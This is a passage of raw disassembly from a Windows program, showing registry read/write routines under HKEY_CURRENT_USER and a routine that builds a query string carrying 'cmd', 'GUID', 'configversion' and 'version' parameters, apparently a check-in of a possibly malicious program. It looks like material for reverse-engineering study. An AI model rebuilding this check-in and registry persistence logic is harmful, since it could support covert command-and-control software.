mov [ebp+var_1C], edx
mov eax, [ebp+arg_0]
loc_427C7E: ; CODE XREF: sub_427B23+101j
; sub_427B23+13Dj
mov esp, ebp
pop ebp
retn 4
sub_427B23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427C84 proc near ; CODE XREF: TEUm:00427E7Ep
var_8 = dword ptr -8
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_8]
add ecx, 4
push ecx
push 0
push 20006h
push 0
push offset dword_439CF4
push 0
mov ecx, [ebp+var_8]
add ecx, 18h
call dword_433188
push eax
mov edx, [ebp+var_8]
mov eax, [edx]
push eax
call dword_43300C ; RegCreateKeyExA
test eax, eax
jz short loc_427CC7
jmp short loc_427D1D
; ---------------------------------------------------------------------------
loc_427CC7: ; CODE XREF: sub_427C84+3Fj
mov ecx, [ebp+var_8]
add ecx, 28h
call dword_43318C
add eax, 1
push eax
mov ecx, [ebp+var_8]
add ecx, 28h
call dword_433188
push eax
push 1
push 0
mov ecx, [ebp+var_8]
add ecx, 8
call dword_433188
push eax
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
push edx
call dword_433008 ; RegSetValueExA
test eax, eax
jnz short loc_427D10
mov eax, [ebp+var_8]
mov dword ptr [eax+48h], 1
loc_427D10: ; CODE XREF: sub_427C84+80j
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
push edx
call dword_433000 ; RegCloseKey
loc_427D1D: ; CODE XREF: sub_427C84+41j
mov esp, ebp
pop ebp
retn
sub_427C84 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_4326BE
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
mov [ebp-24h], ecx
mov eax, [ebp-24h]
cmp dword ptr [eax+48h], 0
jz short loc_427D5F
mov ecx, [ebp-24h]
cmp dword ptr [ecx+4Ch], 0
jnz short loc_427D5F
mov ecx, [ebp-24h]
add ecx, 28h
call dword_433188
jmp short loc_427D9A
; ---------------------------------------------------------------------------
loc_427D5F: ; CODE XREF: TEUm:00427D46j
; TEUm:00427D4Fj
lea edx, [ebp-20h]
push edx
mov ecx, [ebp-24h]
call sub_427B23
mov [ebp-28h], eax
mov eax, [ebp-28h]
mov [ebp-2Ch], eax
mov dword ptr [ebp-4], 0
mov ecx, [ebp-2Ch]
call dword_433188
mov [ebp-10h], eax
mov dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-20h]
call dword_433168
mov eax, [ebp-10h]
loc_427D9A: ; CODE XREF: TEUm:00427D5Dj
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
mov [ebp-8], ecx
mov dword ptr [ebp-4], 0
mov eax, [ebp-8]
cmp dword ptr [eax+48h], 0
jz short loc_427DE7
mov ecx, [ebp-8]
cmp dword ptr [ecx+4Ch], 0
jnz short loc_427DE7
mov edx, [ebp-8]
add edx, 28h
push edx
mov ecx, [ebp+8]
call dword_433180
mov eax, [ebp-4]
or al, 1
mov [ebp-4], eax
mov eax, [ebp+8]
jmp short loc_427DFF
; ---------------------------------------------------------------------------
loc_427DE7: ; CODE XREF: TEUm:00427DBFj
; TEUm:00427DC8j
mov ecx, [ebp+8]
push ecx
mov ecx, [ebp-8]
call sub_427B23
mov edx, [ebp-4]
or edx, 1
mov [ebp-4], edx
mov eax, [ebp+8]
loc_427DFF: ; CODE XREF: TEUm:00427DE5j
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_4326D2
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
mov [ebp-18h], ecx
mov dword ptr [ebp-4], 0
mov eax, [ebp-18h]
add eax, 28h
push eax
lea ecx, [ebp+8]
push ecx
call dword_433190
add esp, 8
and eax, 0FFh
test eax, eax
jz short loc_427E6B
mov edx, [ebp-18h]
cmp dword ptr [edx+4Ch], 0
jnz short loc_427E6B
mov eax, [ebp-18h]
mov [ebp-10h], eax
mov dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call dword_433168
mov eax, [ebp-10h]
jmp short loc_427E9C
; ---------------------------------------------------------------------------
loc_427E6B: ; CODE XREF: TEUm:00427E45j
; TEUm:00427E4Ej
lea ecx, [ebp+8]
push ecx
mov ecx, [ebp-18h]
add ecx, 28h
call dword_43317C
mov ecx, [ebp-18h]
call sub_427C84
mov edx, [ebp-18h]
mov [ebp-14h], edx
mov dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call dword_433168
mov eax, [ebp-14h]
loc_427E9C: ; CODE XREF: TEUm:00427E69j
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 10h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_4326E5
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp-10h], ecx
mov ecx, [ebp-10h]
call sub_428440
mov dword ptr [ebp-4], 0
mov eax, [ebp-10h]
mov dword ptr [eax+28h], 0
mov ecx, [ebp-10h]
mov dword ptr [ecx+2Ch], 0
push offset dword_439CF8
mov ecx, [ebp-10h]
add ecx, 8
call dword_433194
mov edx, [ebp-10h]
mov dword ptr [edx], 80000001h
mov eax, [ebp-10h]
mov dword ptr [eax+30h], 0
mov ecx, [ebp-10h]
mov dword ptr [ecx+34h], 0
mov dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-10h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_432716
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
mov [ebp-34h], ecx
mov dword ptr [ebp-4], 0
mov ecx, [ebp-34h]
call sub_428440
mov byte ptr [ebp-4], 1
mov eax, [ebp-34h]
mov dword ptr [eax+28h], 0
mov ecx, [ebp-34h]
mov edx, [ebp+18h]
mov [ecx+2Ch], edx
mov eax, [ebp-34h]
mov ecx, [ebp+1Ch]
mov [eax+34h], ecx
mov edx, [ebp-34h]
mov eax, [ebp+20h]
mov [edx], eax
mov ecx, [ebp-34h]
mov dword ptr [ecx+30h], 0
mov edx, dword_433178
mov eax, [edx]
push eax
push 5Ch
lea ecx, [ebp+8]
call dword_433174
mov [ebp-10h], eax
mov ecx, [ebp-10h]
push ecx
push 0
lea edx, [ebp-20h]
push edx
lea ecx, [ebp+8]
call dword_433170
mov [ebp-38h], eax
mov eax, [ebp-38h]
mov [ebp-3Ch], eax
mov byte ptr [ebp-4], 2
mov ecx, [ebp-3Ch]
push ecx
mov ecx, [ebp-34h]
add ecx, 18h
call dword_43317C
mov byte ptr [ebp-4], 1
lea ecx, [ebp-20h]
call dword_433168
mov edx, dword_433178
mov eax, [edx]
push eax
mov ecx, [ebp-10h]
add ecx, 1
push ecx
lea edx, [ebp-30h]
push edx
lea ecx, [ebp+8]
call dword_433170
mov [ebp-40h], eax
mov eax, [ebp-40h]
mov [ebp-44h], eax
mov byte ptr [ebp-4], 3
mov ecx, [ebp-44h]
push ecx
mov ecx, [ebp-34h]
add ecx, 8
call dword_43317C
mov byte ptr [ebp-4], 1
lea ecx, [ebp-30h]
call dword_433168
mov ecx, [ebp-34h]
call sub_428069
mov dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call dword_433168
mov eax, [ebp-34h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 1Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov ecx, [ebp-4]
call sub_4284A0
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428069 proc near ; CODE XREF: TEUm:0042802Ep
; TEUm:004281BEp
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
add eax, 4
push eax
push 20019h
push 0
mov ecx, [ebp+var_C]
add ecx, 18h
call dword_433188
push eax
mov ecx, [ebp+var_C]
mov edx, [ecx]
push edx
call dword_433004 ; RegOpenKeyExA
test eax, eax
jnz short loc_428107
mov [ebp+var_4], 4
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_C]
add ecx, 28h
push ecx
lea edx, [ebp+var_8]
push edx
push 0
mov ecx, [ebp+var_C]
add ecx, 8
call dword_433188
push eax
mov eax, [ebp+var_C]
mov ecx, [eax+4]
push ecx
call dword_433010 ; RegQueryValueExA
test eax, eax
jnz short loc_4280F2
mov edx, [ebp+var_C]
mov dword ptr [edx+30h], 1
mov eax, [ebp+var_C]
mov ecx, [eax+4]
push ecx
call dword_433000 ; RegCloseKey
mov edx, [ebp+var_C]
mov eax, [edx+28h]
jmp short loc_42810D
; ---------------------------------------------------------------------------
loc_4280F2: ; CODE XREF: sub_428069+68j
mov eax, [ebp+var_C]
mov ecx, [eax+4]
push ecx
call dword_433000 ; RegCloseKey
mov edx, [ebp+var_C]
mov eax, [edx+2Ch]
jmp short loc_42810D
; ---------------------------------------------------------------------------
loc_428107: ; CODE XREF: sub_428069+32j
mov eax, [ebp+var_C]
mov eax, [eax+2Ch]
loc_42810D: ; CODE XREF: sub_428069+87j
; sub_428069+9Cj
mov esp, ebp
pop ebp
retn
sub_428069 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
mov [ebp-8], ecx
lea eax, [ebp-4]
push eax
mov ecx, [ebp-8]
add ecx, 4
push ecx
push 0
push 20006h
push 0
push offset dword_439CFC
push 0
mov ecx, [ebp-8]
add ecx, 18h
call dword_433188
push eax
mov edx, [ebp-8]
mov eax, [edx]
push eax
call dword_43300C ; RegCreateKeyExA
test eax, eax
jz short loc_428154
jmp short loc_428196
; ---------------------------------------------------------------------------
loc_428154: ; CODE XREF: TEUm:00428150j
push 4
mov ecx, [ebp-8]
add ecx, 28h
push ecx
push 4
push 0
mov ecx, [ebp-8]
add ecx, 8
call dword_433188
push eax
mov edx, [ebp-8]
mov eax, [edx+4]
push eax
call dword_433008 ; RegSetValueExA
test eax, eax
jnz short loc_428189
mov ecx, [ebp-8]
mov dword ptr [ecx+30h], 1
loc_428189: ; CODE XREF: TEUm:0042817Dj
mov edx, [ebp-8]
mov eax, [edx+4]
push eax
call dword_433000 ; RegCloseKey
loc_428196: ; CODE XREF: TEUm:00428152j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov [ebp-4], ecx
mov eax, [ebp-4]
cmp dword ptr [eax+30h], 0
jz short loc_4281BB
mov ecx, [ebp-4]
cmp dword ptr [ecx+34h], 0
jnz short loc_4281BB
mov edx, [ebp-4]
mov eax, [edx+28h]
jmp short loc_4281C3
; ---------------------------------------------------------------------------
loc_4281BB: ; CODE XREF: TEUm:004281A8j
; TEUm:004281B1j
mov ecx, [ebp-4]
call sub_428069
loc_4281C3: ; CODE XREF: TEUm:004281B9j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4281D0 proc near ; CODE XREF: TEUm:0042651Fp
; sub_426584+29p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_4281D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov ecx, [ebp+var_10]
add ecx, 8
call sub_4317AE
mov [ebp+var_4], 0
mov ecx, [ebp+var_10]
add ecx, 0Ch
call sub_4317AE
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_10]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_4281D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428230 proc near ; CODE XREF: sub_4266D6+Ap
; sub_426ABF+47p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_428230
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov [ebp+var_4], 0
mov ecx, [ebp+var_10]
add ecx, 0Ch
call sub_4317A2
mov [ebp+var_4], 0FFFFFFFFh
mov ecx, [ebp+var_10]
add ecx, 8
call sub_4317A2
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_428230 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428280 proc near ; CODE XREF: sub_426584+BFp
; sub_42692B+E9p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_4282A0
mov eax, [eax+4]
mov esp, ebp
pop ebp
retn
sub_428280 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4282A0 proc near ; CODE XREF: sub_428280+Ap
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov eax, [eax]
sub eax, 0Ch
mov esp, ebp
pop ebp
retn
sub_4282A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4282C0 proc near ; CODE XREF: sub_426DB8+30p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
call sub_4226A0
push eax
mov ecx, [ebp+arg_0]
call sub_4282E0
neg eax
sbb eax, eax
inc eax
pop ebp
retn 8
sub_4282C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4282E0 proc near ; CODE XREF: sub_4282C0+Fp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx
call sub_428300
add esp, 8
mov esp, ebp
pop ebp
retn 4
sub_4282E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428300 proc near ; CODE XREF: sub_4282E0+11p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4331EC ; _mbscmp
add esp, 8
pop ebp
retn
sub_428300 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428320 proc near ; CODE XREF: TEUm:00426EA6p
; TEUm:00426ED2p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+arg_4]
mov [edx+4], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_8]
mov [ecx+8], edx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_C]
mov [eax+0Ch], ecx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 10h
sub_428320 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428360 proc near ; CODE XREF: sub_4270ED+AAp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
push ecx
call dword_433290 ; CopyRect
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_428360 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428380 proc near ; CODE XREF: TEUm:0042737Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
push ecx
call dword_433294 ; EqualRect
mov esp, ebp
pop ebp
retn 4
sub_428380 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4283A0 proc near ; CODE XREF: TEUm:00426E8Bp
; TEUm:00426E96p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4283A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4283B0 proc near ; CODE XREF: TEUm:00427409p
; TEUm:00427423p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+arg_4]
mov [edx+4], eax
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 8
sub_4283B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4283E0 proc near ; CODE XREF: sub_427610+B0p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov edx, [ebp+arg_4]
mov [eax+4], edx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 8
sub_4283E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428400 proc near ; CODE XREF: TEUm:0042785Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [eax]
cmp ecx, [ebp+arg_0]
jnz short loc_428427
mov edx, [ebp+var_4]
mov eax, [edx+4]
cmp eax, [ebp+arg_4]
jnz short loc_428427
mov [ebp+var_8], 1
jmp short loc_42842E
; ---------------------------------------------------------------------------
loc_428427: ; CODE XREF: sub_428400+11j
; sub_428400+1Cj
mov [ebp+var_8], 0
loc_42842E: ; CODE XREF: sub_428400+25j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn 8
sub_428400 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428440 proc near ; CODE XREF: TEUm:004278B6p
; TEUm:0042797Ap ...
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_428440
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
mov [ebp+var_18], ecx
lea eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_18]
add ecx, 8
call dword_43316C
mov [ebp+var_4], 0
lea ecx, [ebp+var_14]
push ecx
mov ecx, [ebp+var_18]
add ecx, 18h
call dword_43316C
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_18]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_428440 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4284A0 proc near ; CODE XREF: TEUm:00427B10p
; TEUm:00428060p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_4284A0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov [ebp+var_4], 0
mov ecx, [ebp+var_10]
add ecx, 18h
call dword_433168
mov [ebp+var_4], 0FFFFFFFFh
mov ecx, [ebp+var_10]
add ecx, 8
call dword_433168
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_4284A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4284F0 proc near ; DATA XREF: TEUm:00437004o
push ebp
mov ebp, esp
call sub_4284FF
call sub_42850E
pop ebp
retn
sub_4284F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4284FF proc near ; CODE XREF: sub_4284F0+3p
push ebp
mov ebp, esp
mov ecx, offset dword_439D00
call sub_429850
pop ebp
retn
sub_4284FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42850E proc near ; CODE XREF: sub_4284F0+8p
push ebp
mov ebp, esp
push offset sub_428520
call sub_431902
add esp, 4
pop ebp
retn
sub_42850E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428520 proc near ; DATA XREF: sub_42850E+3o
push ebp
mov ebp, esp
mov ecx, offset dword_439D00
call sub_4297D0
pop ebp
retn
sub_428520 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42852F proc near ; CODE XREF: sub_42948F+F9p
var_28DC = dword ptr -28DCh
var_28D8 = dword ptr -28D8h
var_28D4 = dword ptr -28D4h
var_28D0 = dword ptr -28D0h
var_28CA = word ptr -28CAh
var_28C8 = dword ptr -28C8h
var_28C4 = dword ptr -28C4h
var_28C0 = dword ptr -28C0h
var_28BC = dword ptr -28BCh
var_28B8 = dword ptr -28B8h
var_28B4 = dword ptr -28B4h
var_28B0 = dword ptr -28B0h
var_28AC = dword ptr -28ACh
var_28A8 = dword ptr -28A8h
var_28A4 = dword ptr -28A4h
var_28A0 = dword ptr -28A0h
var_289C = dword ptr -289Ch
var_2898 = dword ptr -2898h
var_2894 = dword ptr -2894h
var_2890 = dword ptr -2890h
var_288C = dword ptr -288Ch
var_2888 = dword ptr -2888h
var_2884 = dword ptr -2884h
var_2880 = dword ptr -2880h
var_287C = dword ptr -287Ch
var_2878 = dword ptr -2878h
var_2874 = dword ptr -2874h
var_2870 = dword ptr -2870h
var_286C = dword ptr -286Ch
var_2868 = dword ptr -2868h
var_2864 = dword ptr -2864h
var_2860 = dword ptr -2860h
var_285C = dword ptr -285Ch
var_2858 = dword ptr -2858h
var_2854 = dword ptr -2854h
var_2850 = dword ptr -2850h
var_284C = dword ptr -284Ch
var_2848 = dword ptr -2848h
var_2844 = dword ptr -2844h
var_2840 = dword ptr -2840h
var_283C = dword ptr -283Ch
var_2838 = dword ptr -2838h
var_2834 = dword ptr -2834h
var_2830 = dword ptr -2830h
var_282C = dword ptr -282Ch
var_2828 = dword ptr -2828h
var_2824 = dword ptr -2824h
var_2820 = dword ptr -2820h
var_281C = dword ptr -281Ch
var_2818 = byte ptr -2818h
var_2814 = dword ptr -2814h
var_2810 = dword ptr -2810h
var_280C = dword ptr -280Ch
var_2808 = byte ptr -2808h
var_2804 = dword ptr -2804h
var_2800 = byte ptr -2800h
var_27FC = byte ptr -27FCh
var_27F8 = byte ptr -27F8h
var_27F4 = byte ptr -27F4h
var_27F0 = byte ptr -27F0h
var_27EC = byte ptr -27ECh
var_27E8 = byte ptr -27E8h
var_27E4 = byte ptr -27E4h
var_27E0 = byte ptr -27E0h
var_27DC = byte ptr -27DCh
var_27D8 = byte ptr -27D8h
var_27D4 = byte ptr -27D4h
var_27D0 = byte ptr -27D0h
var_27CC = byte ptr -27CCh
var_27C8 = byte ptr -27C8h
var_27C4 = dword ptr -27C4h
var_27C0 = byte ptr -27C0h
var_27BC = byte ptr -27BCh
var_27B8 = dword ptr -27B8h
var_27B4 = dword ptr -27B4h
var_27B0 = byte ptr -27B0h
var_27AC = byte ptr -27ACh
var_279C = byte ptr -279Ch
var_1F9C = byte ptr -1F9Ch
var_1F98 = dword ptr -1F98h
var_1F94 = dword ptr -1F94h
var_1F90 = byte ptr -1F90h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_38 = byte ptr -38h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_42852F
mov eax, large fs:0
push eax
mov large fs:0, esp
mov eax, 28D0h
call sub_431860
mov [ebp+var_282C], ecx
mov [ebp+var_1F98], 0
mov [ebp+var_38], 1
lea ecx, [ebp+var_1C]
call sub_4298D0
mov [ebp+var_4], 0
lea ecx, [ebp+var_18]
call sub_4317AE
mov byte ptr [ebp+var_4], 1
lea ecx, [ebp+var_24]
call sub_4317AE
mov byte ptr [ebp+var_4], 2
mov [ebp+var_1F94], 0
lea ecx, [ebp+var_14]
call sub_4317AE
mov byte ptr [ebp+var_4], 3
mov [ebp+var_20], 0
mov eax, [ebp+var_282C]
mov ecx, [eax]
push ecx
push offset aD_0 ; "%d"
lea edx, [ebp+var_48]
push edx
call dword_4331E4 ; sprintf
add esp, 0Ch
lea eax, [ebp+var_48]
push eax
push offset asc_437578 ; "&x="
lea ecx, [ebp+var_27BC]
push ecx
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_425896
mov [ebp+var_2830], eax
mov edx, [ebp+var_2830]
mov [ebp+var_2834], edx
mov byte ptr [ebp+var_4], 4
mov eax, [ebp+var_2834]
push eax
push offset aI_0 ; "&i="
lea ecx, [ebp+var_27C0]
push ecx
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_42578F
mov [ebp+var_2838], eax
mov edx, [ebp+var_2838]
mov [ebp+var_283C], edx
mov byte ptr [ebp+var_4], 5
mov eax, [ebp+var_283C]
push eax
push offset aP_1 ; "&p="
push offset dword_43BD40
push offset aCmd_0 ; "&cmd="
mov ecx, [ebp+var_282C]
add ecx, 10h
push ecx
mov edx, esp
mov [ebp+var_27C4], esp
push ecx
mov ecx, edx
call sub_431796
mov [ebp+var_2840], eax
lea eax, [ebp+var_27C8]
push eax
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_422FB0
mov [ebp+var_2844], eax
mov ecx, [ebp+var_2844]
mov [ebp+var_2848], ecx
mov byte ptr [ebp+var_4], 6
mov edx, [ebp+var_2848]
push edx
push offset aGuid ; "&GUID="
lea eax, [ebp+var_27CC]
push eax
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_42552A
mov [ebp+var_284C], eax
mov ecx, [ebp+var_284C]
mov [ebp+var_2850], ecx
mov byte ptr [ebp+var_4], 7
mov edx, [ebp+var_2850]
push edx
push offset aConfigversion ; "&configversion="
mov eax, [ebp+var_282C]
add eax, 1Ch
push eax
push offset aVersion ; "&version="
lea ecx, [ebp+var_27D0]
push ecx
call sub_4317DE
mov [ebp+var_2854], eax
mov edx, [ebp+var_2854]
mov [ebp+var_2858], edx
mov byte ptr [ebp+var_4], 8
mov eax, [ebp+var_2858]
push eax
lea ecx, [ebp+var_27D4]
push ecx
call sub_4317BA
mov [ebp+var_285C], eax
mov edx, [ebp+var_285C]
mov [ebp+var_2860], edx
mov byte ptr [ebp+var_4], 9
mov eax, [ebp+var_2860]
push eax
lea ecx, [ebp+var_27D8]
push ecx
call sub_4317B4
mov [ebp+var_2864], eax
mov edx, [ebp+var_2864]
mov [ebp+var_2868], edx
mov byte ptr [ebp+var_4], 0Ah
mov eax, [ebp+var_2868]
push eax
lea ecx, [ebp+var_27DC]
push ecx
call sub_4317BA
mov [ebp+var_286C], eax
mov edx, [ebp+var_286C]
mov [ebp+var_2870], edx
mov byte ptr [ebp+var_4], 0Bh
mov eax, [ebp+var_2870]
push eax
lea ecx, [ebp+var_27E0]
push ecx
call sub_4317B4
mov [ebp+var_2874], eax
mov edx, [ebp+var_2874]
mov [ebp+var_2878], edx
mov byte ptr [ebp+var_4], 0Ch
mov eax, [ebp+var_2878]
push eax
lea ecx, [ebp+var_27E4]
push ecx
call sub_4317BA
mov [ebp+var_287C], eax
mov edx, [ebp+var_287C]
mov [ebp+var_2880], edx
mov byte ptr [ebp+var_4], 0Dh
mov eax, [ebp+var_2880]
push eax
lea ecx, [ebp+var_27E8]
push ecx
call sub_4317B4
mov [ebp+var_2884], eax
mov edx, [ebp+var_2884]
mov [ebp+var_2888], edx
mov byte ptr [ebp+var_4], 0Eh
mov eax, [ebp+var_2888]
push eax
lea ecx, [ebp+var_27EC]
push ecx
call sub_4317BA
mov [ebp+var_288C], eax
mov edx, [ebp+var_288C]
mov [ebp+var_2890], edx
mov byte ptr [ebp+var_4], 0Fh
mov eax, [ebp+var_2890]
push eax
lea ecx, [ebp+var_27F0]
push ecx
call sub_4317B4
mov [ebp+var_2894], eax
mov edx, [ebp+var_2894]
mov [ebp+var_2898], edx
mov byte ptr [ebp+var_4], 10h
mov eax, [ebp+var_2898]
push eax
